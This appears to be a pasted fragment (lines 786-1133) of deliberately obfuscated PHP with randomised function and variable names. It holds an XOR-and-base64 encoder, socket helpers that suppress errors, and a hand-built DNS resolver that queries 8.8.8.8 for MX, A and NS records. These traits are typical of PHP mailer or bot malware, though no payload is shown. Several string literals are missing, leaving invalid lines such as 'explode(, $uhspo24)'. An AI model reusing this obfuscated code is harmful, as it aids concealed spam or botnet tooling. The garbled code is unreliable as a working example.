  786.         $kdxpk32[$lhdfv83] = chr(ord($kdxpk32[$lhdfv83]) ^ 2);
  787.         }
  788.  
  789.     return base64_encode($kdxpk32);
  790.     }
  791.  
  792. function jotsk26($z26, $cxtve87, $esjes80, $rvcis8, $mzwog99, $mljir34, &$qxohi56, &$qhovh99, $vanjd40 = false)
  793.     {
  794.     $jkase3 = "";
  795.     $jiccl67 = NULL;
  796.     $giusw3 = NULL;
  797.     $qxohi56 = 0;
  798.     $qhovh99 = "";
  799.     if ($esjes80 == constant("SOCKET_PROTO_TCP"))
  800.         {
  801.         $jkase3 = "tcp";
  802.         $jiccl67 = SOL_TCP;
  803.         $giusw3 = SOCK_STREAM;
  804.         }
  805.       else
  806.     if ($esjes80 == constant("SOCKET_PROTO_UDP"))
  807.         {
  808.         $jkase3 = "udp";
  809.         $giusw3 = SOCK_DGRAM;
  810.         $jiccl67 = SOL_UDP;
  811.         }
  812.       else
  813.         {
  814.         $qhovh99 = "Error: invalid protocol";
  815.         return FALSE;
  816.         }
  817.  
  818.     switch (constant("SOCKET_TYPE"))
  819.         {
  820.     case constant("SOCKET_TYPE_SOCKET"):
  821.         if ($cxtve87 == FALSE)
  822.             {
  823.             $cxtve87 = @socket_create(AF_INET, $giusw3, $jiccl67);
  824.             if ($cxtve87 == FALSE)
  825.                 {
  826.                 $qxohi56 = socket_last_error();
  827.                 $qhovh99 = socket_strerror($qxohi56);
  828.                 break;
  829.                 }
  830.  
  831.             socket_set_option($cxtve87, SOL_SOCKET, SO_REUSEADDR, 1);
  832.             socket_set_option($cxtve87, SOL_SOCKET, SO_RCVTIMEO, array(
  833.                 "sec" => $mljir34,
  834.                 "usec" => 0
  835.             ));
  836.             socket_set_option($cxtve87, SOL_SOCKET, SO_SNDTIMEO, array(
  837.                 "sec" => $mljir34,
  838.                 "usec" => 0
  839.             ));
  840.             if ($vanjd40)
  841.                 {
  842.                 socket_set_nonblock($cxtve87);
  843.                 }
  844.             }
  845.  
  846.         if (!@socket_connect($cxtve87, $rvcis8, $mzwog99))
  847.             {
  848.             $qxohi56 = socket_last_error($cxtve87);
  849.             $qhovh99 = socket_strerror($qxohi56);
  850.             }
  851.  
  852.         if ($vanjd40)
  853.             {
  854.             socket_set_nonblock($cxtve87);
  855.             }
  856.  
  857.         break;
  858.  
  859.     case constant("SOCKET_TYPE_FSOCKET"):
  860.         $cxtve87 = @fsockopen($jkase3 . "://" . $rvcis8, $mzwog99, $qxohi56, $qhovh99, $mljir34);
  861.         if ($cxtve87 && $vanjd40)
  862.             {
  863.             @stream_set_blocking($cxtve87, 0);
  864.             }
  865.  
  866.         @stream_set_timeout($cxtve87, $mljir34);
  867.         break;
  868.  
  869.     case constant("SOCKET_TYPE_STREAM"):
  870.         $cxtve87 = @stream_socket_client($jkase3 . "://" . $rvcis8 . ":" . $mzwog99, $qxohi56, $qhovh99, $mljir34);
  871.         if ($cxtve87 && $vanjd40)
  872.             {
  873.             @stream_set_blocking($cxtve87, 0);
  874.             }
  875.  
  876.         @stream_set_timeout($cxtve87, $mljir34);
  877.         break;
  878.  
  879.     default:
  880.         $qhovh99 = "Error: invalid socket type";
  881.         return FALSE;
  882.         }
  883.  
  884.     return $cxtve87;
  885.     }
  886.  
  887. function wowhk28($z26, &$cxtve87)
  888.     {
  889.     if ($cxtve87 == FALSE)
  890.         {
  891.         return;
  892.         }
  893.  
  894.     if (constant("SOCKET_TYPE") == constant("SOCKET_TYPE_SOCKET"))
  895.         {
  896.         @socket_close($cxtve87);
  897.         }
  898.       else
  899.         {
  900.         @fclose($cxtve87);
  901.         }
  902.  
  903.     $cxtve87 = FALSE;
  904.     return;
  905.     }
  906.  
  907. function dorhi25($z26, $cxtve87, $mrbns89, &$qxohi56, &$qhovh99)
  908.     {
  909.     if ($cxtve87 == FALSE)
  910.         {
  911.         return FALSE;
  912.         }
  913.  
  914.     if (constant("SOCKET_TYPE") == constant("SOCKET_TYPE_SOCKET"))
  915.         {
  916.         $smtab80 = @socket_read($cxtve87, $mrbns89, PHP_BINARY_READ);
  917.         if ($smtab80 == FALSE)
  918.             {
  919.             $qxohi56 = socket_last_error($cxtve87);
  920.             $qhovh99 = socket_strerror($qxohi56);
  921.             }
  922.         }
  923.       else
  924.         {
  925.         if (@feof($cxtve87))
  926.             {
  927.             return FALSE;
  928.             }
  929.  
  930.         $smtab80 = @fread($cxtve87, $mrbns89);
  931.         if (strlen($smtab80) == 0)
  932.             {
  933.             $qxohi56 = 35;
  934.             }
  935.         }
  936.  
  937.     return $smtab80;
  938.     }
  939.  
  940. function mqmpb31($z26, $cxtve87, $ssndb82, &$qxohi56, &$qhovh99)
  941.     {
  942.     if ($cxtve87 == FALSE)
  943.         {
  944.         return FALSE;
  945.         }
  946.  
  947.     if (constant("SOCKET_TYPE") == constant("SOCKET_TYPE_SOCKET"))
  948.         {
  949.         $smtab80 = @socket_write($cxtve87, $ssndb82);
  950.         if ($smtab80 == FALSE)
  951.             {
  952.             $qxohi56 = socket_last_error($cxtve87);
  953.             $qhovh99 = socket_strerror($qxohi56);
  954.             }
  955.         }
  956.       else
  957.         {
  958.         if (@feof($cxtve87))
  959.             {
  960.             return FALSE;
  961.             }
  962.  
  963.         $smtab80 = @fwrite($cxtve87, $ssndb82);
  964.         }
  965.  
  966.     return $smtab80;
  967.     }
  968.  
  969. function hrvzk54($z26, $cxtve87, $mljir34)
  970.     {
  971.     if ($cxtve87 == FALSE)
  972.         {
  973.         return FALSE;
  974.         }
  975.  
  976.     if (constant("SOCKET_TYPE") == constant("SOCKET_TYPE_SOCKET"))
  977.         {
  978.         @socket_set_option($cxtve87, SOL_SOCKET, SO_RCVTIMEO, array(
  979.             "sec" => $mljir34,
  980.             "usec" => 0
  981.         ));
  982.         @socket_set_option($cxtve87, SOL_SOCKET, SO_SNDTIMEO, array(
  983.             "sec" => $mljir34,
  984.             "usec" => 0
  985.         ));
  986.         }
  987.       else
  988.         {
  989.         @stream_set_timeout($cxtve87, $mljir34);
  990.         }
  991.  
  992.     return TRUE;
  993.     }
  994.  
  995. function nphbj94($z26, $uhspo24, $jflhq92)
  996.     {
  997.     $qxohi56 = 0;
  998.     $qhovh99 = "";
  999.     $cxtve87 = jotsk26($z26, FALSE, constant("SOCKET_PROTO_UDP") , "8.8.8.8", 53, 10, $qxohi56, $qhovh99);
  1000.     if (!$cxtve87)
  1001.         {
  1002.         return FALSE;
  1003.         }
  1004.  
  1005.     $clels79 = rand(0x0001, 0xFFFE);
  1006.     $owgby12 = explode(, $uhspo24);
  1007.     $uyafb15 = pack("nnnnnn", $clels79, 0x0100, 0x0001, 0x0000, 0x0000, 0x0000);
  1008.     foreach($owgby12 as $qblja54)
  1009.         {
  1010.         $uyafb15.= pack("Ca*", strlen($qblja54) , $qblja54);
  1011.         }
  1012.  
  1013.     $uyafb15.= pack("Cnn", 0x00, $jflhq92, 0x0001);
  1014.     $wzlix23 = mqmpb31($z26, $cxtve87, $uyafb15, $qxohi56, $qhovh99);
  1015.     if (!$wzlix23 || $wzlix23 != strlen($uyafb15))
  1016.         {
  1017.         wowhk28($z26, $cxtve87);
  1018.         return FALSE;
  1019.         }
  1020.  
  1021.     $zfcav5 = dorhi25($z26, $cxtve87, 4086, $qxohi56, $qhovh99);
  1022.     if ($zfcav5 == FALSE || strlen($zfcav5) < 12)
  1023.         {
  1024.         wowhk28($z26, $cxtve87);
  1025.         return FALSE;
  1026.         }
  1027.  
  1028.     $mpugn39 = unpack("ntid/nflags/nque/nans/nauth/nadd", substr($zfcav5, 0, 12));
  1029.     $syfkf90 = 12;
  1030.     $smtab80 = array(
  1031.         "header" => $mpugn39
  1032.     );
  1033.     for ($irsck14 = constant("DNS_STEP_QESTION"); $irsck14 <= constant("DNS_STEP_ADDITIONAL"); $irsck14++)
  1034.         {
  1035.         $mggto64 = '';
  1036.         switch ($irsck14)
  1037.             {
  1038.         case constant("DNS_STEP_QESTION"):
  1039.             $mggto64 = "que";
  1040.             break;
  1041.  
  1042.         case constant("DNS_STEP_ANSWER"):
  1043.             $mggto64 = "ans";
  1044.             break;
  1045.  
  1046.         case constant("DNS_STEP_AUTHORITY"):
  1047.             $mggto64 = "auth";
  1048.             break;
  1049.  
  1050.         case constant("DNS_STEP_ADDITIONAL"):
  1051.             $mggto64 = "add";
  1052.             break;
  1053.             }
  1054.  
  1055.         for ($yfuds89 = 0; $yfuds89 < $mpugn39[$mggto64]; $yfuds89++)
  1056.             {
  1057.             $nqjtw27["name"] = jldeq95($z26, $syfkf90, $zfcav5);
  1058.             if ($irsck14 == constant("DNS_STEP_QESTION"))
  1059.                 {
  1060.                 $nqjtw27 = array_merge($nqjtw27, unpack("ntype/nclass", substr($zfcav5, $syfkf90, 4)));
  1061.                 $syfkf90+= 4;
  1062.                 }
  1063.               else
  1064.                 {
  1065.                 $nqjtw27 = array_merge($nqjtw27, unpack("ntype/nclass/Nttl/ndatalength", substr($zfcav5, $syfkf90, 10)));
  1066.                 $syfkf90+= 10;
  1067.                 switch ($nqjtw27["type"])
  1068.                     {
  1069.                 case constant("DNS_TYPE_MX"):
  1070.                     $nqjtw27 = array_merge($nqjtw27, unpack("npreference", substr($zfcav5, $syfkf90, 2)));
  1071.                     $syfkf90+= 2;
  1072.                     $nqjtw27["data"] = jldeq95($z26, $syfkf90, $zfcav5);
  1073.                     break;
  1074.  
  1075.                 case constant("DNS_TYPE_A"):
  1076.                     $nqjtw27 = array_merge($nqjtw27, unpack("Ndata", substr($zfcav5, $syfkf90, 4)));
  1077.                     $syfkf90+= 4;
  1078.                     $nqjtw27["ip"] = long2ip($nqjtw27["data"]);
  1079.                     break;
  1080.  
  1081.                 case constant("DNS_TYPE_NS"):
  1082.                     $nqjtw27["data"] = jldeq95($z26, $syfkf90, $zfcav5);
  1083.                     break;
  1084.  
  1085.                 default:
  1086.                     $syfkf90+= $nqjtw27["datalength"];
  1087.                     }
  1088.                 }
  1089.  
  1090.             $smtab80[$mggto64][] = $nqjtw27;
  1091.             }
  1092.         }
  1093.  
  1094.     return $smtab80;
  1095.     }
  1096.  
  1097. function jldeq95($z26, &$ncmxz39, $zfcav5)
  1098.     {
  1099.     $smtab80 = "";
  1100.     $zfhgv16 = $ncmxz39;
  1101.     while (ord($zfcav5[$zfhgv16]) != 0)
  1102.         {
  1103.         if (ord($zfcav5[$zfhgv16]) == 0xC0)
  1104.             {
  1105.             if ($zfhgv16 >= $ncmxz39)
  1106.                 {
  1107.                 $ncmxz39+= 2;
  1108.                 }
  1109.  
  1110.             $zfhgv16 = ord($zfcav5[$zfhgv16 + 1]);
  1111.             continue;
  1112.             }
  1113.  
  1114.         if (strlen($smtab80) > 0)
  1115.             {
  1116.             $smtab80.=;
  1117.             }
  1118.  
  1119.         $smtab80.= substr($zfcav5, $zfhgv16 + 1, ord($zfcav5[$zfhgv16]));
  1120.         $zfhgv16+= ord($zfcav5[$zfhgv16]) + 1;
  1121.         if ($zfhgv16 > $ncmxz39)
  1122.             {
  1123.             $ncmxz39 = $zfhgv16;
  1124.             }
  1125.         }
  1126.  
  1127.     if ($zfhgv16 >= $ncmxz39)
  1128.         {
  1129.         $ncmxz39+= 1;
  1130.         }
  1131.  
  1132.     return $smtab80;
  1133.     }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement